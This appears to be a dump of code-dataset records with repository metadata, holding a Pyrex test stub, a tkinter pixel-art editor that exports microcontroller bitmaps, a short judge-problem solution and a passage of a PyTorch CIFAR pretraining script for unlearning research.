[ "Apache-2.0" ]

5

2019-05-26T20:48:36.000Z

2021-07-09T01:38:38.000Z

Tests/Runnable1/r_pyclass_t.py

jwilk/Pyrex

83dfbae1261788933472e3f9c501ad74c61a37c5

[ "Apache-2.0" ]

null

Tests/Runnable1/r_pyclass_t.py

jwilk/Pyrex

83dfbae1261788933472e3f9c501ad74c61a37c5

[ "Apache-2.0" ]

1

2022-02-10T07:14:58.000Z

import r_pyclass r_pyclass.order()

11.666667

17

0.828571

import r_pyclass r_pyclass.order()

0

f208c87d20c028b36a883e09891dfc58b7c86336

27,334

py

Python

PixelGUI.py

ZachJW34/PixelGUI319k

f76c5a7bf6909662b609b7c8bf626a94bff980ad

[ "MIT" ]

1

2021-07-27T19:12:14.000Z

PixelGUI.py

ZachJW34/PixelGUI319k

f76c5a7bf6909662b609b7c8bf626a94bff980ad

[ "MIT" ]

null

PixelGUI.py

ZachJW34/PixelGUI319k

f76c5a7bf6909662b609b7c8bf626a94bff980ad

[ "MIT" ]

null

#Developed by Zachary Williams from tkinter import * from functools import partial from PIL import Image import sys from sys import platform root = Tk() z = mainclass(root) root.mainloop() sys.exit()

52.870406

181

0.57412

#Developed by Zachary Williams from tkinter import * from functools import partial from PIL import Image import sys from sys import platform class mainclass(object): colorfillvar = 0 gridwidth = 8 gridheight = 8 griddim = gridwidth * gridheight colors = [] basecolor = "red" picname = [] if platform == "linux" or platform == "linux2": buttonw = 2 buttonh = 2 toolbarw = 370 toolbarh= 10 elif platform == "darwin": buttonw = 2 buttonh = 2 elif platform == "win32" or "win64": buttonw = 2 buttonh = 1 toolbarw = 260 toolbarh = 10 COLORS = ['snow', 'ghost white', 'white smoke', 'gainsboro', 'floral white', 'old lace', 'linen', 'antique white', 'papaya whip', 'blanched almond', 'bisque', 'peach puff', 'navajo white', 'lemon chiffon', 'mint cream', 'azure', 'alice blue', 'lavender', 'lavender blush', 'misty rose', 'dark slate gray', 'dim gray', 'slate gray', 'light slate gray', 'gray', 'light grey', 'midnight blue', 'navy', 'cornflower blue', 'dark slate blue', 'slate blue', 'medium slate blue', 'light slate blue', 'medium blue', 'royal blue', 'blue', 'dodger blue', 'deep sky blue', 'sky blue', 'light sky blue', 'steel blue', 'light steel blue', 'light blue', 'powder blue', 'pale turquoise', 'dark turquoise', 'medium turquoise', 'turquoise', 'cyan', 'light cyan', 'cadet blue', 'medium aquamarine', 'aquamarine', 'dark green', 'dark olive green', 'dark sea green', 'sea green', 'medium sea green', 'light sea green', 'pale green', 'spring green', 'lawn green', 'medium spring green', 'green yellow', 'lime green', 'yellow green', 'forest green', 'olive drab', 'dark khaki', 'khaki', 'pale goldenrod', 'light goldenrod yellow', 'light yellow', 'yellow', 'gold', 'light goldenrod', 'goldenrod', 'dark goldenrod', 'rosy brown', 'indian red', 'saddle brown', 'sandy brown', 'dark salmon', 'salmon', 'light salmon', 'orange', 'dark orange', 'coral', 'light coral', 'tomato', 'orange red', 'red', 'hot pink', 'deep pink', 'pink', 'light pink', 'pale violet red', 'maroon', 'medium violet red', 'violet red', 'medium orchid', 'dark orchid', 'dark violet', 'blue violet', 'purple', 'medium purple', 'thistle', 'snow2', 'snow3', 'snow4', 'seashell2', 'seashell3', 'seashell4', 'AntiqueWhite1', 'AntiqueWhite2', 'AntiqueWhite3', 'AntiqueWhite4', 'bisque2', 'bisque3', 'bisque4', 'PeachPuff2', 'PeachPuff3', 'PeachPuff4', 'NavajoWhite2', 'NavajoWhite3', 'NavajoWhite4', 'LemonChiffon2', 'LemonChiffon3', 'LemonChiffon4', 'cornsilk2', 'cornsilk3', 'cornsilk4', 'ivory2', 'ivory3', 'ivory4', 'honeydew2', 'honeydew3', 'honeydew4', 'LavenderBlush2', 'LavenderBlush3', 'LavenderBlush4', 'MistyRose2', 'MistyRose3', 'MistyRose4', 'azure2', 'azure3', 'azure4', 'SlateBlue1', 'SlateBlue2', 'SlateBlue3', 'SlateBlue4', 'RoyalBlue1', 'RoyalBlue2', 'RoyalBlue3', 'RoyalBlue4', 'blue2', 'blue4', 'DodgerBlue2', 'DodgerBlue3', 'DodgerBlue4', 'SteelBlue1', 'SteelBlue2', 'SteelBlue3', 'SteelBlue4', 'DeepSkyBlue2', 'DeepSkyBlue3', 'DeepSkyBlue4', 'SkyBlue1', 'SkyBlue2', 'SkyBlue3', 'SkyBlue4', 'LightSkyBlue1', 'LightSkyBlue2', 'LightSkyBlue3', 'LightSkyBlue4', 'SlateGray1', 'SlateGray2', 'SlateGray3', 'SlateGray4', 'LightSteelBlue1', 'LightSteelBlue2', 'LightSteelBlue3', 'LightSteelBlue4', 'LightBlue1', 'LightBlue2', 'LightBlue3', 'LightBlue4', 'LightCyan2', 'LightCyan3', 'LightCyan4', 'PaleTurquoise1', 'PaleTurquoise2', 'PaleTurquoise3', 'PaleTurquoise4', 'CadetBlue1', 'CadetBlue2', 'CadetBlue3', 'CadetBlue4', 'turquoise1', 'turquoise2', 'turquoise3', 'turquoise4', 'cyan2', 'cyan3', 'cyan4', 'DarkSlateGray1', 'DarkSlateGray2', 'DarkSlateGray3', 'DarkSlateGray4', 'aquamarine2', 'aquamarine4', 'DarkSeaGreen1', 'DarkSeaGreen2', 'DarkSeaGreen3', 'DarkSeaGreen4', 'SeaGreen1', 'SeaGreen2', 'SeaGreen3', 'PaleGreen1', 'PaleGreen2', 'PaleGreen3', 'PaleGreen4', 'SpringGreen2', 'SpringGreen3', 'SpringGreen4', 'green2', 'green3', 'green4', 'chartreuse2', 'chartreuse3', 'chartreuse4', 'OliveDrab1', 'OliveDrab2', 'OliveDrab4', 'DarkOliveGreen1', 'DarkOliveGreen2', 'DarkOliveGreen3', 'DarkOliveGreen4', 'khaki1', 'khaki2', 'khaki3', 'khaki4', 'LightGoldenrod1', 'LightGoldenrod2', 'LightGoldenrod3', 'LightGoldenrod4', 'LightYellow2', 'LightYellow3', 'LightYellow4', 'yellow2', 'yellow3', 'yellow4', 'gold2', 'gold3', 'gold4', 'goldenrod1', 'goldenrod2', 'goldenrod3', 'goldenrod4', 'DarkGoldenrod1', 'DarkGoldenrod2', 'DarkGoldenrod3', 'DarkGoldenrod4', 'RosyBrown1', 'RosyBrown2', 'RosyBrown3', 'RosyBrown4', 'IndianRed1', 'IndianRed2', 'IndianRed3', 'IndianRed4', 'sienna1', 'sienna2', 'sienna3', 'sienna4', 'burlywood1', 'burlywood2', 'burlywood3', 'burlywood4', 'wheat1', 'wheat2', 'wheat3', 'wheat4', 'tan1', 'tan2', 'tan4', 'chocolate1', 'chocolate2', 'chocolate3', 'firebrick1', 'firebrick2', 'firebrick3', 'firebrick4', 'brown1', 'brown2', 'brown3', 'brown4', 'salmon1', 'salmon2', 'salmon3', 'salmon4', 'LightSalmon2', 'LightSalmon3', 'LightSalmon4', 'orange2', 'orange3', 'orange4', 'DarkOrange1', 'DarkOrange2', 'DarkOrange3', 'DarkOrange4', 'coral1', 'coral2', 'coral3', 'coral4', 'tomato2', 'tomato3', 'tomato4', 'OrangeRed2', 'OrangeRed3', 'OrangeRed4', 'red2', 'red3', 'red4', 'DeepPink2', 'DeepPink3', 'DeepPink4', 'HotPink1', 'HotPink2', 'HotPink3', 'HotPink4', 'pink1', 'pink2', 'pink3', 'pink4', 'LightPink1', 'LightPink2', 'LightPink3', 'LightPink4', 'PaleVioletRed1', 'PaleVioletRed2', 'PaleVioletRed3', 'PaleVioletRed4', 'maroon1', 'maroon2', 'maroon3', 'maroon4', 'VioletRed1', 'VioletRed2', 'VioletRed3', 'VioletRed4', 'magenta2', 'magenta3', 'magenta4', 'orchid1', 'orchid2', 'orchid3', 'orchid4', 'plum1', 'plum2', 'plum3', 'plum4', 'MediumOrchid1', 'MediumOrchid2', 'MediumOrchid3', 'MediumOrchid4', 'DarkOrchid1', 'DarkOrchid2', 'DarkOrchid3', 'DarkOrchid4', 'purple1', 'purple2', 'purple3', 'purple4', 'MediumPurple1', 'MediumPurple2', 'MediumPurple3', 'MediumPurple4', 'thistle1', 'thistle2', 'thistle3', 'thistle4', 'gray1', 'gray2', 'gray3', 'gray4', 'gray5', 'gray6', 'gray7', 'gray8', 'gray9', 'gray10', 'gray11', 'gray12', 'gray13', 'gray14', 'gray15', 'gray16', 'gray17', 'gray18', 'gray19', 'gray20', 'gray21', 'gray22', 'gray23', 'gray24', 'gray25', 'gray26', 'gray27', 'gray28', 'gray29', 'gray30', 'gray31', 'gray32', 'gray33', 'gray34', 'gray35', 'gray36', 'gray37', 'gray38', 'gray39', 'gray40', 'gray42', 'gray43', 'gray44', 'gray45', 'gray46', 'gray47', 'gray48', 'gray49', 'gray50', 'gray51', 'gray52', 'gray53', 'gray54', 'gray55', 'gray56', 'gray57', 'gray58', 'gray59', 'gray60', 'gray61', 'gray62', 'gray63', 'gray64', 'gray65', 'gray66', 'gray67', 'gray68', 'gray69', 'gray70', 'gray71', 'gray72', 'gray73', 'gray74', 'gray75', 'gray76', 'gray77', 'gray78', 'gray79', 'gray80', 'gray81', 'gray82', 'gray83', 'gray84', 'gray85', 'gray86', 'gray87', 'gray88', 'gray89', 'gray90', 'gray91', 'gray92', 'gray93', 'gray94', 'gray95', 'gray97', 'gray98', 'gray99'] def __init__(self, master): self.fillbutton = "0" menu = Menu(master) master.config(menu=menu) bFrame = Frame(master) subMenu = Menu(menu, tearoff=0) menu.add_cascade(label="File", menu=subMenu) topPadding = Frame(master, width=self.toolbarw, height=self.toolbarh) subMenu.add_command(label="New File", command=partial(self.importpic, bFrame, topPadding)) subMenu.add_command(label="Placeholder", command=self.doNothing) subMenu.add_separator() subMenu.add_command(label="Placeholder", command=self.doNothing) editMenu = Menu(menu, tearoff=0) menu.add_cascade(label="Edit", menu=editMenu) editMenu.add_command(label="Remove Row", command=partial(self.removeRow, bFrame, topPadding)) editMenu.add_command(label="Remove Col", command=partial(self.removeCol, bFrame, topPadding)) viewMenu = Menu(menu, tearoff=0) menu.add_cascade(label="View", menu=viewMenu) viewMenu.add_command(label="Color Chart", command=self.viewColorChart) toolbar = Frame(master, width=self.toolbarw, height=20, bg="grey") frameSep = Frame(master, width=self.toolbarw, height=3, bg="black") bottomPadding = Frame(master, width=self.toolbarw, height=40) self.setfillbutton = Checkbutton(bottomPadding, text="Fill") self.setfillbutton.config(state=DISABLED) self.setfillbutton.pack(side=LEFT) colorselect = Button(toolbar, text="Set Color", command=partial(self.colorfillask, bFrame, topPadding)) colorselect.pack(side=LEFT) gridSelect = Button(toolbar, text="Grid Select", command=partial(self.changeGrid, bFrame, topPadding)) gridSelect.pack(side=LEFT) View = Button(toolbar, text="View", command=partial(self.viewImage, 40)) View.pack(side=LEFT) baseCol = Button(toolbar, text="Color Fill", command=partial(self.fillColor, bFrame, topPadding)) baseCol.pack(side=LEFT) exportbut = Button(toolbar, text="Export", command=self.expFunc) exportbut.pack(side=LEFT) self.buttons = [] for i in range(self.griddim): self.buttons.append(Button(bFrame, width=self.buttonw, height=self.buttonh, bg=self.basecolor, command=partial(self.buttonColor, i, bFrame, topPadding))) self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) self.colors.append(self.basecolor) toolbar.pack_propagate(0) toolbar.pack(side=TOP) frameSep.pack(side=TOP) topPadding.pack(side=TOP) bFrame.pack() bottomPadding.pack(side=BOTTOM) def doNothing(self): print("Nope") def buttonColor(self, position, frame, padding): if self.colorfillvar == 0: colorask = Frame(padding) label_1 = Label(colorask, text="What Color?") entry_1 = Entry(colorask) label_2 = Label(colorask, text="Input takes lower case standard color, \nor #xxxxxxxxx hexadecimal number ") buttonOK = Button(colorask, text="OK", command=partial(self.getEntry, entry_1, position, frame, colorask, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) label_2.grid(row=1, columnspan=2) buttonOK.grid(row=2, columnspan=2) colorask.pack() else: self.buttons[position].grid_forget() try: temp = Button(frame, width=self.buttonw, height=self.buttonh, bg=self.fillbutton, command=partial(self.buttonColor, position, frame, padding)) except: self.buttons[position] = Button(frame, width=self.buttonw, height=self.buttonh, bg='red', command=partial(self.buttonColor, position, frame, padding)) self.buttons[position].grid(row=int(position / self.gridwidth), column=int(position % self.gridwidth)) self.colors[position] = "red" print("Color entered is not recognized by tkinter. Please format the color as either a recognized tkinter string or #RGB or #RRGGBB or #RRRGGGBBB or #RRRRGGGGBBBB") return self.buttons[position] = Button(frame, width=self.buttonw, height=self.buttonh, bg=self.fillbutton, command=partial(self.buttonColor, position, frame, padding)) self.buttons[position].grid(row=int(position / self.gridwidth), column=int(position % self.gridwidth)) self.colors[position] = self.fillbutton def getEntry(self, entry, position, frame, colorask, padding): self.colorentry = entry.get() padding.config(width=self.toolbarw, height=self.toolbarh) colorask.destroy() if self.colorfillvar == 0: self.buttons[position].grid_forget() try: temp = Button(frame, width=self.buttonw, height=self.buttonh, bg=self.colorentry, command=partial(self.buttonColor, position, frame, padding)) except: self.buttons[position] = Button(frame, width=self.buttonw, height=self.buttonh, bg='red', command=partial(self.buttonColor, position, frame, padding)) self.buttons[position].grid(row=int(position / self.gridwidth), column=int(position % self.gridwidth)) self.colors[position] = "red" print("Something went wrong") return self.buttons[position] = Button(frame, width=self.buttonw, height=self.buttonh, bg=self.colorentry, command=partial(self.buttonColor, position, frame, padding)) self.buttons[position].grid(row=int(position / self.gridwidth), column=int(position % self.gridwidth)) self.colors[position] = self.colorentry else: self.fillbutton = self.colorentry def getButtonColor(self, button): rgb = button.winfo_rgb(button.cget('bg')) r = (rgb[0] >> 11) g = (rgb[1] >> 10) g = g << 5 b = rgb[2] >> 11 b = b << 11 rgb = b + g + r return '0x%04x' % (rgb) def colorfillask(self, frame, padding): colorask = Frame(padding) label_1 = Label(colorask, text="What Color?") entry_1 = Entry(colorask) label_2 = Label(colorask, text="Input takes lower case standard color, \nor #xxxxxxxxx hexadecimal number ") container = Frame(colorask) buttonOK = Button(container, text="OK", command=partial(self.getEntry, entry_1, 1, frame, colorask, padding)) buttonSet = Button(container, text="Set", command=self.setfillvar) buttonClear = Button(container, text="Clear", command=self.clearfillvar) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) label_2.grid(row=1, columnspan=2) buttonOK.grid(row=1, column=1) buttonSet.grid(row=1, column=2) buttonClear.grid(row=1, column=3) container.grid(row=2, columnspan=2) colorask.pack() def setfillvar(self): self.setfillbutton.select() self.colorfillvar = 1 def clearfillvar(self): self.setfillbutton.deselect() self.colorfillvar = 0 def changeGrid(self, frame, padding): gridask = Frame(padding) label_1 = Label(gridask, text="Grid Width:") entry_1 = Entry(gridask) label_2 = Label(gridask, text="Grid Height") entry_2 = Entry(gridask) buttonOK = Button(gridask, text="OK", command=partial(self.getgridEntries, entry_1, entry_2, gridask, frame, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) label_2.grid(row=1, column=0) entry_2.grid(row=1, column=1) buttonOK.grid(row=2, columnspan=2) gridask.pack() def getgridEntries(self, entry1, entry2, kill, frame, padding): if entry1.get() == "": kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return if entry2 != 1: try: temp1 = int(entry1.get()) temp2 = int(entry2.get()) except: kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return if int(entry1.get()) >30 or int(entry2.get()) >30: kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return self.gridwidth = int(entry1.get()) self.gridheight = int(entry2.get()) else: if entry1.get() in self.COLORS: self.basecolor = entry1.get() else: kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return for i in range(self.griddim): self.buttons[i].grid_forget() self.griddim = self.gridwidth * self.gridheight self.colors = [] self.buttons = [] for i in range(self.griddim): self.buttons.append(Button(frame, width=self.buttonw, height=self.buttonh, bg=self.basecolor, command=partial(self.buttonColor, i, frame, padding))) self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) self.colors.append(self.basecolor) frame.pack() kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) def viewImage(self, size): pixelI = Tk() canvas = Canvas(pixelI, width=self.gridwidth * size, height=self.gridheight * size) canvas.pack() for i in range(self.gridheight): for j in range(self.gridwidth): canvas.create_rectangle(j * size, i * size, j * size + size, i * size + size, fill=self.colors[i * self.gridwidth + j], width=0) def fillColor(self, frame, padding): fillAsk = Frame(padding) label_1 = Label(fillAsk, text="What Color?") entry_1 = Entry(fillAsk) label_2 = Label(fillAsk, text="Input takes lower case standard color, \nor #xxxxxxxxx hexadecimal number ") buttonOK = Button(fillAsk, text="OK", command=partial(self.getgridEntries, entry_1, 1, fillAsk, frame, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) label_2.grid(row=1, columnspan=2) buttonOK.grid(row=2, columnspan=2) fillAsk.pack() def expFunc(self): print('writing file') file = open("bitmap.txt", "w") file.write( "uint16_t bitmap[] = {" + ','.join([self.getButtonColor(button) for button in self.buttons]) + "};\n\n") file.write("int idx = 0;\nfor (int i=0; i< " + str(self.gridheight) + "; i++){\n" + "\tfor (int j=0; j< " + str( self.gridwidth) + "; j++){\n\t\tST7735_DrawPixel(j,i,bitmap[idx]);\n\t\tidx++;\n\t}\n}") file.close() def importpic(self, frame, padding): resizeask = Frame(padding) label_1 = Label(resizeask, text="Picture Name:") entry_1 = Entry(resizeask) label_2 = Label(resizeask, text="Resize Width") entry_2 = Entry(resizeask) label_3 = Label(resizeask, text="Resize Height") entry_3 = Entry(resizeask) buttonOK = Button(resizeask, text="OK", command=partial(self.resizeandplace, entry_1, entry_2, entry_3, resizeask, frame, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) label_2.grid(row=1, column=0) entry_2.grid(row=1, column=1) label_3.grid(row=2, column=0) entry_3.grid(row=2, column=1) buttonOK.grid(row=3, columnspan=2) resizeask.pack() def resizeandplace(self, entry1, entry2, entry3, kill, frame, padding): if entry1.get() == "" or entry2.get() == "" or entry3.get() == "": kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return self.picname = entry1.get() print(self.picname) try: im = Image.open(self.picname) except: kill.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return for i in range(self.griddim): self.buttons[i].grid_forget() temp1 = self.griddim temp2 = self.gridwidth temp3 = self.griddim self.gridwidth = int(entry2.get()) self.gridheight = int(entry3.get()) self.griddim = self.gridheight * self.gridwidth im = Image.open(self.picname) im = im.resize((self.gridwidth, self.gridheight), Image.NEAREST) pix = im.convert('RGB') self.colors = [] self.buttons = [] for i in range(self.griddim): r, g, b = pix.getpixel((int(i % self.gridwidth), int(i / self.gridwidth))) # print(int(i%self.gridheight), int(i/self.gridheight)) # print(r,g,b) rgb = (r << 16) + (g << 8) + b rgb = "#%0.6x" % rgb # print(rgb) self.buttons.append(Button(frame, width=self.buttonw, height=self.buttonh, bg=rgb, command=partial(self.buttonColor, i, frame, padding))) if self.gridwidth < 55 or self.gridheight < 30: self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) self.colors.append(rgb) print("Check") if self.gridwidth > 55 or self.gridheight > 30: print("did it work?") self.expFunc() self.viewImage(4) self.griddim = temp1 self.gridwidth = temp2 self.gridheight = temp3 buttons = [] for i in range(self.griddim): self.buttons.append(Button(frame, width=self.buttonw, height=self.buttonh, bg=self.basecolor, command=partial(self.buttonColor, i, frame, padding))) self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) self.colors.append(self.basecolor) frame.pack() else: frame.pack() kill.destroy() im.save('resized_image.png') padding.config(width=self.toolbarw, height=self.toolbarh) def viewColorChart(self): MAX_ROWS = 36 FONT_SIZE = 10 # (pixels) ColorChart = Tk() ColorChart.title("Named colour chart") row = 0 col = 0 for color in self.COLORS: e = Label(ColorChart, text=color, background=color, font=(None, -FONT_SIZE)) e.grid(row=row, column=col, sticky=E + W) row += 1 if (row > 36): row = 0 col += 1 def removeRow(self, frame, padding): gridask = Frame(padding) label_1 = Label(gridask, text="Row: ") entry_1 = Entry(gridask) buttonOK = Button(gridask, text="OK", command=partial(self.manMatRow, entry_1, gridask, frame, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) buttonOK.grid(row=1, columnspan=2) gridask.pack() def removeCol(self, frame, padding): gridask = Frame(padding) label_1 = Label(gridask, text="Column: ") entry_1 = Entry(gridask) buttonOK = Button(gridask, text="OK", command=partial(self.manMatCol, entry_1, gridask, frame, padding)) label_1.grid(row=0, sticky=E) entry_1.grid(row=0, column=1) buttonOK.grid(row=1, columnspan=2) gridask.pack() def manMatRow(self, entry_1, gridask, frame, padding): try: temp1 = int(entry_1.get()) except: print("Value given failed integer conversion") gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return if int(entry_1.get()) <=0 or int(entry_1.get()) >self.gridheight: print("Integer given is out of bounds") gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return rowID = int(entry_1.get())-1 for i in range(self.griddim): self.buttons[i].grid_forget() self.buttons = [] for i in range(self.gridwidth): del self.colors[self.gridwidth*rowID] print(i) self.gridheight = self.gridheight - 1 self.griddim = self.gridheight*self.gridwidth for i in range(self.griddim): self.buttons.append(Button(frame, width=self.buttonw, height=self.buttonh, bg=self.colors[i], command=partial(self.buttonColor, i, frame, padding))) self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) frame.pack() def manMatCol(self, entry_1, gridask, frame, padding): try: temp1 = int(entry_1.get()) except: print("Value given failed integer conversion") gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return if int(entry_1.get()) <=0 or int(entry_1.get()) >self.gridwidth: print("Integer given is out of bounds") gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) return colID = int(entry_1.get())-1 for i in range(self.griddim): self.buttons[i].grid_forget() self.buttons = [] temp = [] j=0 for i in range(self.griddim): if (i%self.gridwidth == colID): continue else: temp.append(self.colors[i]) j=j+1 self.colors = temp self.gridwidth = self.gridwidth - 1 self.griddim = self.gridheight*self.gridwidth for i in range(self.griddim): self.buttons.append(Button(frame, width=self.buttonw, height=self.buttonh, bg=self.colors[i], command=partial(self.buttonColor, i, frame, padding))) self.buttons[i].grid(row=int((i / self.gridwidth)), column=int((i % self.gridwidth))) gridask.destroy() padding.config(width=self.toolbarw, height=self.toolbarh) frame.pack() root = Tk() z = mainclass(root) root.mainloop() sys.exit()

18,808

8,280

24

5b5b793fca0e9766cab8b5858b8f208bb7985336

99

py

Python

3088.py

heltonricardo/URI

160cca22d94aa667177c9ebf2a1c9864c5e55b41

[ "MIT" ]

6

2021-04-13T00:33:43.000Z

2022-02-10T10:23:59.000Z

3088.py

heltonricardo/URI

160cca22d94aa667177c9ebf2a1c9864c5e55b41

[ "MIT" ]

null

3088.py

heltonricardo/URI

160cca22d94aa667177c9ebf2a1c9864c5e55b41

[ "MIT" ]

3

2021-03-23T18:42:24.000Z

2022-02-10T10:24:07.000Z

while True: try: e = input() except: break print(e.replace(' .', '.').replace(' ,', ','))

19.8

49

0.494949

while True: try: e = input() except: break print(e.replace(' .', '.').replace(' ,', ','))

0

ab980aaa6de7f8762e60114a8a45d13eb831478f

5,985

py

Python

Unlearning/pretrain.py

cleverhans-lab/unrolling-sgd

49e001f9cc77b61d65eac3bf26888b5183b73bef

[ "MIT" ]

3

2022-03-21T13:16:56.000Z

2022-03-22T07:55:10.000Z

Unlearning/pretrain.py

cleverhans-lab/unrolling-sgd

49e001f9cc77b61d65eac3bf26888b5183b73bef

[ "MIT" ]

null

Unlearning/pretrain.py

cleverhans-lab/unrolling-sgd

49e001f9cc77b61d65eac3bf26888b5183b73bef

[ "MIT" ]

null

import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse from ResNet_CIFAR10 import * from VGG_model import * ##################################################################### ################### Some Loss functions things ###################### ##################################################################### parser = argparse.ArgumentParser(description='Pre-training CIFAR10 Models') parser.add_argument('--lr', default=0.1, type=float, help='learning rate') parser.add_argument('--model', default='resnet', type=str, help='resnet or vgg') parser.add_argument('--loss_func', default='regular', type=str, help='loss function: regular,hessian, hessianv2, std_loss') parser.add_argument('--dataset', default = 'cifar10', type=str, help ='cifar10, cifar100') parser.add_argument('--batch_size', default=128, type=int, help='batch size') parser.add_argument('--epochs', default=10, type=int, help='epochs') parser.add_argument('--std_reg', default = 0.1, type = float, help= 'regularization for std loss') args = parser.parse_args() device = 'cuda' if torch.cuda.is_available() else 'cpu' std_reg = args.std_reg print(f'Model = {args.model} dataset = {args.dataset} loss = {args.loss_func} std lambda = {args.std_reg}') print('==> Preparing data..') if args.dataset == 'cifar10': transform_train = transforms.Compose([ transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=2) testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test) testloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2) num_classes = 10 if args.dataset == 'cifar100': transform_train = transforms.Compose([ #transforms.ToPILImage(), transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.RandomRotation(15), transforms.ToTensor(), transforms.Normalize( (0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404)) ]) #cifar100_training = CIFAR100Train(path, transform=transform_train) cifar100_training = torchvision.datasets.CIFAR100(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(cifar100_training, shuffle=True, num_workers=2, batch_size=args.batch_size) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))]) cifar100_test = torchvision.datasets.CIFAR100(root='./data', train=False, download=True, transform=transform_test) testloader= torch.utils.data.DataLoader(cifar100_test, shuffle=True, num_workers=2, batch_size=args.batch_size) num_classes = 100 print('==> Building model..') if args.model == 'resnet': net = ResNet18(num_classes) if args.model == 'vgg': net = VGG('VGG19',num_classes) net = net.to(device) if device == 'cuda': net = torch.nn.DataParallel(net) cudnn.benchmark = True criterion = nn.CrossEntropyLoss() optimizer = optim.SGD(net.parameters(), lr=args.lr, weight_decay=5e-4) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200) for epoch in range(0, args.epochs): train(epoch) scheduler.step() test(epoch) acc =test(0) print('Saving..') state = { 'net': net.state_dict(), 'acc': acc, 'epoch': args.epochs, 'batch size': args.batch_size, } if not os.path.isdir('Final_pretrained_models'): os.mkdir('Final_pretrained_models') torch.save(state, f'./Final_pretrained_models/{args.model}_{args.dataset}_{args.loss_func}_{args.batch_size}_{args.epochs}.pth')

40.167785

156

0.661988

import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse from ResNet_CIFAR10 import * from VGG_model import * ##################################################################### ################### Some Loss functions things ###################### ##################################################################### def std_loss(x,y): log_prob = -1.0 * F.log_softmax(x, 1) loss = log_prob.gather(1, y.unsqueeze(1)) loss = loss.mean() avg_std = torch.sum(torch.std(x, dim=1))/(len(x.view(-1))) loss = loss + std_reg*avg_std return loss parser = argparse.ArgumentParser(description='Pre-training CIFAR10 Models') parser.add_argument('--lr', default=0.1, type=float, help='learning rate') parser.add_argument('--model', default='resnet', type=str, help='resnet or vgg') parser.add_argument('--loss_func', default='regular', type=str, help='loss function: regular,hessian, hessianv2, std_loss') parser.add_argument('--dataset', default = 'cifar10', type=str, help ='cifar10, cifar100') parser.add_argument('--batch_size', default=128, type=int, help='batch size') parser.add_argument('--epochs', default=10, type=int, help='epochs') parser.add_argument('--std_reg', default = 0.1, type = float, help= 'regularization for std loss') args = parser.parse_args() device = 'cuda' if torch.cuda.is_available() else 'cpu' std_reg = args.std_reg print(f'Model = {args.model} dataset = {args.dataset} loss = {args.loss_func} std lambda = {args.std_reg}') print('==> Preparing data..') if args.dataset == 'cifar10': transform_train = transforms.Compose([ transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) transform_test = transforms.Compose([ transforms.ToTensor(), transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),]) trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=True, num_workers=2) testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test) testloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2) num_classes = 10 if args.dataset == 'cifar100': transform_train = transforms.Compose([ #transforms.ToPILImage(), transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.RandomRotation(15), transforms.ToTensor(), transforms.Normalize( (0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404)) ]) #cifar100_training = CIFAR100Train(path, transform=transform_train) cifar100_training = torchvision.datasets.CIFAR100(root='./data', train=True, download=True, transform=transform_train) trainloader = torch.utils.data.DataLoader(cifar100_training, shuffle=True, num_workers=2, batch_size=args.batch_size) 